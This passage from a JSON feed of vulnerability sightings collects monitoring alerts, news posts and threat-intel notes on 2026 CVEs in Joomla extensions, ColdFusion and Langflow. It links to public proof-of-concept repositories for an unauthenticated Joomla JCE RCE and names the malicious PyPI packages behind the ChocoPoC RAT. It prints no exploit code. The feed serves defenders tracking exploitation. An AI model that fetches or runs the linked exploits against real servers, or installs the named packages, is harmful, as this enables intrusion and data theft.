\u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48732-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Saku0512\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-10 00:37:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T10:00:03.844598Z"}, {"uuid": "f4030464-e011-4294-b994-627ea60d9c33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88065", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907-Unauthenticated-RCE-in-JCE\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a webshellseo8\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-09 16:39:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48907: Unauthenticated RCE in JCE (Proof Of Concept)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T11:00:03.893960Z"}, {"uuid": "1d8ad0b8-b771-458b-a7cc-01925c27410e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/cKure/16518", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 CVE-2026-48907 \u2014 JoomlaSniper v1.0 released.\n\nUnauthenticated RCE in Joomla JCE Editor (\u22642.9.99.4)\nCVSS 10.0 \u2022 Affects ALL production versions.\n\nFile upload \u2192 PHP execution in /tmp/ \u2014 no auth required.\n\nhttps://github.com/ynsmroztas/JoomlaSniper", "creation_timestamp": "2026-07-12T14:00:07.487078Z"}, {"uuid": "7d522890-0343-4303-8252-2d01cf761e3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116907369274600216", "content": "\ud83d\udcf0 CISA Adds Two Actively Exploited Joomla Plugin Flaws to KEV Catalog\n\ud83d\udce2 CISA KEV UPDATE: Two Joomla plugin vulnerabilities are now listed as actively exploited. CVE-2026-48939 (iCagenda) & CVE-2026-56291 (Balbooa Forms) allow file uploads and server takeover. Patch immediately! #CISA #KEV #Joomla #Vulnerability\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisa-adds-joomla-icagenda-balbooa-flaws-to-kev-catalog/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-07-12T14:01:28.613265Z"}, {"uuid": "dc656c8a-c364-425d-b3e2-7cd83342b734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mqhdpsawu725", "content": "\ud83d\udce2 CISA KEV UPDATE: Two Joomla plugin vulnerabilities are now listed as actively exploited. CVE-2026-48939 (iCagenda) & CVE-2026-56291 (Balbooa Forms) allow file uploads and server takeover. Patch immediately! #CISA #KEV #Joomla #Vulnerability\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-07-12T14:02:12.055669Z"}, {"uuid": "9a6d0dcf-e97f-41ce-9dc9-19df6956bbb3", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/482d60b2-ab4e-4de3-ba90-f5115a1d9262", "content": "", "creation_timestamp": "2026-07-13T01:00:51.424236Z"}, {"uuid": "d3f68cb1-6421-4c80-a0dd-523b21ad37d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48285", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqiumbdaex2k", "content": "\ud83d\udccc CVE-2026-48285 - ColdFusion versions 2025.9, 2023.20 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security fea... https://www.cyberhub.blog/cves/CVE-2026-48285", "creation_timestamp": "2026-07-13T04:37:06.364357Z"}, {"uuid": "7c51b982-5d79-44bb-aae8-94e7c2d87699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mqj5wg6v462s", "content": "\ud83e\udd16 CVE-2026-48939 & CVE-2026-56291 (CVSS 10.0): Two Joomla extensions exploited as zero-days in the wild. Unauthenticated RCE via file upload. CISA KEV added.\nhttps://thehackernews.com/2026/07/icagenda-and-balbooa-forms-joomla-flaws.html", "creation_timestamp": "2026-07-13T07:23:50.742722Z"}, {"uuid": "87dff641-3a17-4cf4-9177-743e485882b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqjfhw4p3627", "content": "CVE-2026-56291 and CVE-2026-48939: Joomla Extensions Expose Unpatched Risk #Joomla #Cybersecurity #Vulnerability", "creation_timestamp": "2026-07-13T09:38:54.191237Z"}, {"uuid": "bd5734e8-c0e2-466a-92ac-69dfab203c1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqjfhxw7if2k", "content": "CVE-2026-56291 and CVE-2026-48939: Joomla Extensions Expose Untracked Risks #CyberSecurity #Vulnerabilities #Joomla", "creation_timestamp": "2026-07-13T09:38:56.499096Z"}, {"uuid": "fa3d19d9-6a59-4459-8f2d-b6b622618848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqjfm3n2vp2f", "content": "CVE-2026-56291 and CVE-2026-48939: Urgency or Overreaction in Joomla's Security Response? #Joomla #CyberSecurity #VulnerabilityManagement", "creation_timestamp": "2026-07-13T09:41:14.735415Z"}, {"uuid": "95d80818-d334-412c-875c-ec17fc26b177", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://thehackernews.com/2026/07/icagenda-and-balbooa-forms-joomla-flaws.html", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added two maximum-severity security flaws impacting iCagenda and Balbooa extensions for Joomla to its Known Exploited Vulnerabilities (KEV) catalog, following reports of zero-day exploitation in the wild.\n\nThe vulnerabilities, both rated 10.0 on the CVSS scoring system, are below -\n\n\n  CVE-2026-48939 - A vulnerability in the", "creation_timestamp": "2026-07-13T10:00:54.425715Z"}, {"uuid": "8c80d245-24b1-404c-99ce-425aceb7003a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqjkw6a7ow2x", "content": "Rapid reaction gets you ahead. 10 days before CISA added CVE-2026-48939 a critical Remote Code Execution vulnerability in iCagenda extension for Joomla to KEV, watchTowr clients were aware of their exposure.\n\nReach o\u2026\n\n\u2014 from @watchtowrcyber (https://x.com/watchtowrcyber/status/2076624767352799698)", "creation_timestamp": "2026-07-13T11:16:21.638307Z"}, {"uuid": "49d9496e-09ce-4584-8d76-14037e70c860", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48939", "type": "seen", "source": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mqkmnbpmtc2n", "content": "Monday\u2019s fuck up - this Time - Joomla - \u200aCISA Warns of Actively Exploited Joomla Zero-Day Vulnerabilities. CVE-2026-48939 in iCagenda and CVE-2026-56291 in Balbooa Actively Exploited!\nthecyberexpress.com/cisa-cve-202... #joomla #exploit #0day #CISA #cve-2026-48939 #cve-2026-56291 #iCagenda #Balbooa", "creation_timestamp": "2026-07-13T11:20:07.768487Z"}, {"uuid": "62cdebec-b4bd-41d2-9094-1d8da61a1af1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3mqjnevryg32s", "content": "Joomla extensions iCagenda and Balbooa Forms have KEV-listed zero-day flaws reportedly exploited in the wild (CVE-2026-48939, CVSS 10). Patch and audit sites for exposure. #Cybersecurity #Vulnerability #ZeroDay\n\nSource: https://thehackernews.com/2026/07/icagenda-and-balbooa-forms-joomla-flaws.html", "creation_timestamp": "2026-07-13T12:00:23.549188Z"}, {"uuid": "284ad7e9-ab24-4838-8897-3c88e654f89b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mqjngi26od2u", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-48282, CVE-2026-50656, CVE-2026-55255, CVE-2026-20896, CVE-2026-53359\nActors: Ransomware, Apt, Play\n\nFull intel: https://matlock.ca/cybersecnews", "creation_timestamp": "2026-07-13T12:01:15.434781Z"}, {"uuid": "c9a14170-efbd-46c5-9a78-9572ac2d38f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://dnsc.ro/citeste/alerta-vulnerabilitati-exploatate-activ-in-joomla", "content": "", "creation_timestamp": "2026-07-13T12:15:11.100335Z"}, {"uuid": "6459e8ee-aa41-483c-86c1-9495fdf4ab70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqjomc2ue22o", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\nRelease Date June 16, 2026\n\nCVE-2026-48907 Widget Factory Joomla Content Editor Improper Access Control Vulnerability", "creation_timestamp": "2026-07-13T12:22:24.761727Z"}, {"uuid": "9ecc6a66-d451-47ad-af2b-7b4ab84bc811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqjox2c7ks2o", "content": "\u300cJoomla\u300d\u5411\u3051\u7de8\u96c6\u30c4\u30fc\u30eb\u300cJCE\u300d\u3001\u8106\u5f31\u6027\u60aa\u7528\u306b\u6ce8\u610f\n\n\u7c73\u5f53\u5c40\u306f\u3001\u30b3\u30f3\u30c6\u30f3\u30c4\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u306e\u300cJoomla\u300d\u5411\u3051\u306b\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u7de8\u96c6\u652f\u63f4\u30c4\u30fc\u30eb\u300cJoomla Content Editor\uff08JCE\uff09\u300d\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3066\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670816\u65e5\u3001\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u300cCVE-2026-48907\u300d\u3092\u8ffd\u52a0\u3057\u305f\u3082\u306e\u3002\n\n\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u4e0d\u5099\u306b\u8d77\u56e0\u3059\u308b\u8106\u5f31\u6027\u3067\u3001\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306a\u304f\u30a8\u30c7\u30a3\u30bf\u306e\u30d7\u30ed\u30d5\u30a1\u30a4\u30eb\u3092\u3042\u3089\u305f\u306b\u4f5c\u6210\u3057\u3066PHP\u30b3\u30fc\u30c9\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u3001\u5b9f...", "creation_timestamp": "2026-07-13T12:28:26.196868Z"}, {"uuid": "85d487ab-f0f7-4af1-b5a6-e64b5bf95bb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48519", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqjoyzdfek2o", "content": "\u300cLangflow\u300d\u306bRCE\u8106\u5f31\u6027 - \u30d5\u30ed\u30fc\u5171\u6709\u74b0\u5883\u306b\u5f71\u97ff\n\n\u300cLangflow\u300d\u306e\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u30d5\u30ed\u30fc\u3092\u5171\u6709\u3057\u3066\u3044\u308b\u74b0\u5883\u306b\u304a\u3044\u3066\u6df1\u523b\u306a\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3068\u3057\u3066\u3044\u308b\u3002\n\n\u30d5\u30ed\u30fc\u3092\u5171\u6709\u3059\u308b\u300cShareable Playground\u300d\u300cPublic Flows\u300d\u306a\u3069\u306e\u6a5f\u80fd\u306b\u8106\u5f31\u6027\u300cCVE-2026-48519\u300d\u304c\u5224\u660e\u3057\u305f\u3082\u306e\u3002\n\n\u540c\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306a\u304f\u3001\u30ea\u30f3\u30af\u3092\u4ecb\u3057\u3066\u30ef\u30fc\u30af\u30d5\u30ed\u30fc\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3002\u7d30\u5de5\u3057\u305f\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u884c\u3046\u3053\u3068\u3067\u3001\u30b5\u30fc\u30d0\u306b\u304a\u3044\u3066\u4efb\u610f\u306ePython\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u3068\u3044\u3046\u3002", "creation_timestamp": "2026-07-13T12:29:32.098516Z"}, {"uuid": "af317c3a-2f9f-4fcd-a0a3-29d6be74e7e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mqjplozg4p2v", "content": "U.S. CISA has added two vulnerabilities to its Known Exploited Vulnerabilities catalog: CVE-2026-48939 (iCagenda) and CVE-2026-56291 (Balbooa Forms). CVE-2026-48939, with a CVSS score of 10.0, allows arbitrary file uploads leading to PHP code execution.", "creation_timestamp": "2026-07-13T12:39:57.968334Z"}, {"uuid": "6744f35b-9a72-4875-81ec-de9d2277a0a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqjpxvquwc2o", "content": "\u300cJoomla\u300d\u5411\u3051\u7de8\u96c6\u30c4\u30fc\u30eb\u300cJCE\u300d\u3001\u8106\u5f31\u6027\u60aa\u7528\u306b\u6ce8\u610f\n\n\u7c73\u5f53\u5c40\u306f\u3001\u30b3\u30f3\u30c6\u30f3\u30c4\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u306e\u300cJoomla\u300d\u5411\u3051\u306b\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u7de8\u96c6\u652f\u63f4\u30c4\u30fc\u30eb\u300cJoomla Content Editor\uff08JCE\uff09\u300d\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3066\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670816\u65e5\u3001\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u300cCVE-2026-48907\u300d\u3092\u8ffd\u52a0\u3057\u305f\u3082\u306e\u3002\n\n\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u4e0d\u5099\u306b\u8d77\u56e0\u3059\u308b\u8106\u5f31\u6027\u3067\u3001\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306a\u304f\u30a8\u30c7\u30a3\u30bf\u306e\u30d7\u30ed\u30d5\u30a1\u30a4\u30eb\u3092\u3042\u3089\u305f\u306b\u4f5c\u6210\u3057\u3066PHP\u30b3\u30fc\u30c9\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u3001\u5b9f...", "creation_timestamp": "2026-07-13T12:46:49.451634Z"}, {"uuid": "c3c4d15b-562d-429b-95d0-c7f4c38e62a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqjq3rezm22o", "content": "Joomla\u3001LiteSpeed\u306e\u8106\u5f31\u6027\u304c\u653b\u6483\u306b\u60aa\u7528\u3055\u308c\u308b\n\nJoomla \u306e Joomla \u30b3\u30f3\u30c6\u30f3\u30c4 \u30a8\u30c7\u30a3\u30bf\u30fc (JCE) \u306b\u5f71\u97ff\u3092\u4e0e\u3048\u3001CVE-2026-48907 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u6700\u521d\u306e\u30d0\u30b0\u306f\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u653b\u6483\u8005\u304c\u30a8\u30c7\u30a3\u30bf\u30fc \u30d7\u30ed\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3067\u304d\u308b\u4e0d\u9069\u5207\u306a\u30a2\u30af\u30bb\u30b9\u306e\u554f\u984c\u3068\u3057\u3066\u8aac\u660e\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n\n\u653b\u6483\u8005\u306f\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3066\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u3001\u4efb\u610f\u306ePHP\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u305b\u3066\u3044\u308b\u3002\n\nJCE Pro\u306e\u30d0\u30fc\u30b8\u30e7\u30f32.9.99.5\u3088\u308a\u524d\u306e\u3059\u3079\u3066\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u5f71\u97ff\u3092\u53d7\u3051\u307e\u3059\u3002\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306f6\u67083\u65e5\u306b\u4fee\u6b63\u3055\u308c\u30016\u67086\u65e5\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305f\u30d0...", "creation_timestamp": "2026-07-13T12:48:59.795853Z"}, {"uuid": "c6cdea33-c462-47e2-9f89-c7564e976f9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/true_secator/8369", "content": "\u041d\u0430 GitHub \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 PoC \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u041f\u041e, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u0439 \u0442\u0440\u043e\u044f\u043d \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (RAT) \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Python \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c ChocoPoC, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u043a\u0440\u0430\u0441\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0431\u044b\u043b\u0430 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \n\n\u0421\u043a\u0440\u044b\u0442\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 PoC \u0434\u043b\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\u00a0- \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430, \u043e\u0434\u043d\u0430\u043a\u043e ChocoPoC \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043d\u0435 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0444\u0430\u0439\u043b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b Python \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 PoC.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sekoia \u0438\u00a0YesWeHack, \u044d\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u044b \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 Python Package Index (PyPI), \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 Python \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u043e\u0431\u043c\u0435\u043d\u0430 \u043a\u043e\u0434\u043e\u043c.\n\n\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u0436\u0435\u0440\u0442\u0432\u0430 \u043a\u043b\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439, \u043d\u0430 \u0435\u0451 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u043e\u044f\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c frint.\n\n\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u043a\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c skytext, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 Python.\n\n\u041a\u043e\u0433\u0434\u0430 PoC \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 